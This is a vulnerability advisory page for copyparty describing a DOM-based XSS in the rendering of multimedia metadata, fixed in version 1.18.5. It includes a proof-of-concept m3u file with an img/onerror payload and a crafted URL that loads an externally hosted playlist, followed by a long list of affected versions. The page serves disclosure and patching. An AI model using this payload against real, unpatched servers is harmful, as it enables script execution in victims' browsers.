PYSEC-2026-1277
See a problem?- Import Source
- https://github.com/pypa/advisory-database/blob/main/vulns/copyparty/PYSEC-2026-1277.yaml
- JSON Data
- https://api.osv.dev/v1/vulns/PYSEC-2026-1277
- Aliases
- Published
- 2026-07-07T16:02:59.039311Z
- Modified
- 2026-07-07T17:47:21.115497296Z
- Severity
-
- 5.4 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N CVSS Calculator
- Summary
- copyparty has DOM-Based XSS vulnerability when displaying multimedia metadata
- Details
-
Summary
An unauthenticated attacker is able to execute arbitrary JavaScript code in a victim's browser due to improper sanitization of multimedia tags in music files, including
m3ufiles.Details
Multimedia metadata is rendered in the web-app without sanitization. This can be exploited in two ways:
- a user which has the necessary permission for uploading files can upload a song with an artist-name such as
<img src=x onerror=alert(document.domain)> - an unauthenticated user can trick another user into clicking a malicious URL, performing this same exploit using an externally-hosted m3u file
The CVE score and PoC is based on the m3u approach, which results in a higher severity.
PoC
Create a file named
song.m3uwith the following content. Host this file on an attacker-controlled web server.#EXTM3U #EXTINF:1,"><img src=x onerror=alert(document.domain)> - "><img src=x onerror=alert(document.domain)> http://example.com/audio.mp3Craft and share the malicious URL:
http://127.0.0.1:3923/#m3u=https://example.com/song.m3u
Impact
Any user that accesses this malicious URL is impacted.
- a user which has the necessary permission for uploading files can upload a song with an artist-name such as
- References
-
- https://github.com/9001/copyparty/security/advisories/GHSA-9q4r-x2hj-jmvr
- https://nvd.nist.gov/vuln/detail/CVE-2025-54423
- https://github.com/9001/copyparty/commit/895880aeb0be0813ddf732487596633f8f9fc3a6
- https://github.com/9001/copyparty
- https://github.com/9001/copyparty/releases/tag/v1.18.5
- https://pypi.org/project/copyparty
- https://github.com/advisories/GHSA-9q4r-x2hj-jmvr
Affected packages
PyPI / copyparty
Package
- Name
- copyparty
- View open source insights on deps.dev
- Purl
- pkg:pypi/copyparty
Affected ranges
- Type
- ECOSYSTEM
- Events
-
Introduced0Unknown introduced version / All previous versions are affectedFixed1.18.5
Affected versions
0.*
0.2.3
0.3.0
0.3.1
0.4.0
0.4.1
0.4.2
0.4.3
0.5.0
0.5.1
0.5.2
0.5.3
0.5.4
0.5.5
0.5.6
0.5.7
0.6.0
0.6.2
0.6.3
0.7.0
0.7.1
0.7.2
0.7.3
0.7.4
0.7.5
0.7.6
0.7.7
0.8.1
0.8.3
0.9.0
0.9.1
0.9.3
0.9.4
0.9.5
0.9.6
0.9.7
0.9.8
0.9.9
0.9.10
0.9.11
0.9.13
0.10.0
0.10.1
0.10.2
0.10.3
0.10.4
0.10.5
0.10.6
0.10.7
0.10.8
0.10.9
0.10.10
0.10.11
0.10.12
0.10.13
0.10.14
0.10.15
0.10.16
0.10.17
0.10.18
0.10.19
0.10.20
0.10.21
0.10.22
0.11.0
0.11.1
0.11.5
0.11.6
0.11.7
0.11.8
0.11.9
0.11.10
0.11.11
0.11.12
0.11.13
0.11.14
0.11.15
0.11.16
0.11.17
0.11.18
0.11.19
0.11.20
0.11.21
0.11.22
0.11.23
0.11.24
0.11.26
0.11.27
0.11.28
0.11.29
0.11.30
0.11.31
0.11.32
0.11.33
0.11.34
0.11.35
0.11.36
0.11.37
0.11.38
0.11.39
0.11.40
0.11.41
0.11.42
0.11.43
0.11.44
0.11.45
0.11.46
0.11.47
0.12.1
0.12.3
0.12.4
0.12.5
0.12.6
0.12.7
0.12.8
0.12.9
0.12.10
0.12.11
0.12.12
0.13.0
0.13.1
0.13.2
0.13.3
0.13.5
0.13.6
0.13.7
0.13.9
0.13.10
0.13.11
0.13.12
0.13.13
0.13.14
1.*
1.0.0
1.0.1
1.0.2
1.0.3
1.0.4
1.0.5
1.0.7
1.0.8
1.0.9
1.0.10
1.0.11
1.0.12
1.0.13
1.0.14
1.1.0
1.1.1
1.1.2
1.1.3
1.1.4
1.1.5
1.1.6
1.1.7
1.1.8
1.1.9
1.1.10
1.1.11
1.1.12
1.2.0
1.2.1
1.2.2
1.2.3
1.2.4
1.2.5
1.2.6
1.2.7
1.2.8
1.2.9
1.2.10
1.2.11
1.3.0
1.3.1
1.3.2
1.3.3
1.3.4
1.3.5
1.3.6
1.3.7
1.3.8
1.3.9
1.3.10
1.3.11
1.3.12
1.3.13
1.3.14
1.3.15
1.3.16
1.4.0
1.4.1
1.4.2
1.4.3
1.4.4
1.4.5
1.4.6
1.5.0
1.5.1
1.5.2
1.5.3
1.5.4
1.5.5
1.5.6
1.6.0
1.6.1
1.6.2
1.6.3
1.6.4
1.6.5
1.6.6
1.6.7
1.6.8
1.6.9
1.6.10
1.6.11
1.6.12
1.6.13
1.6.14
1.6.15
1.7.0
1.7.1
1.7.2
1.7.3
1.7.4
1.7.5
1.7.6
1.8.0
1.8.1
1.8.2
1.8.3
1.8.4
1.8.6
1.8.7
1.8.8
1.9.0
1.9.1
1.9.2
1.9.3
1.9.4
1.9.5
1.9.6
1.9.7
1.9.8
1.9.9
1.9.10
1.9.11
1.9.12
1.9.13
1.9.14
1.9.15
1.9.16
1.9.17
1.9.18
1.9.19
1.9.20
1.9.21
1.9.24
1.9.25
1.9.26
1.9.27
1.9.28
1.9.29
1.9.30
1.9.31
1.10.0
1.10.1
1.10.2
1.11.0
1.11.1
1.11.2
1.12.0
1.12.1
1.12.2
1.13.0
1.13.1
1.13.2
1.13.3
1.13.4
1.13.5
1.13.6
1.13.7
1.13.8
1.14.0
1.14.1
1.14.2
1.14.3
1.14.4
1.15.0
1.15.1
1.15.2
1.15.3
1.15.4
1.15.5
1.15.6
1.15.7
1.15.8
1.15.9
1.15.10
1.16.0
1.16.1
1.16.2
1.16.3
1.16.4
1.16.5
1.16.6
1.16.7
1.16.8
1.16.9
1.16.10
1.16.11
1.16.12
1.16.13
1.16.14
1.16.15
1.16.16
1.16.17
1.16.18
1.16.19
1.16.20
1.16.21
1.17.0
1.17.1
1.17.2
1.18.0
1.18.1
1.18.2
1.18.3
1.18.4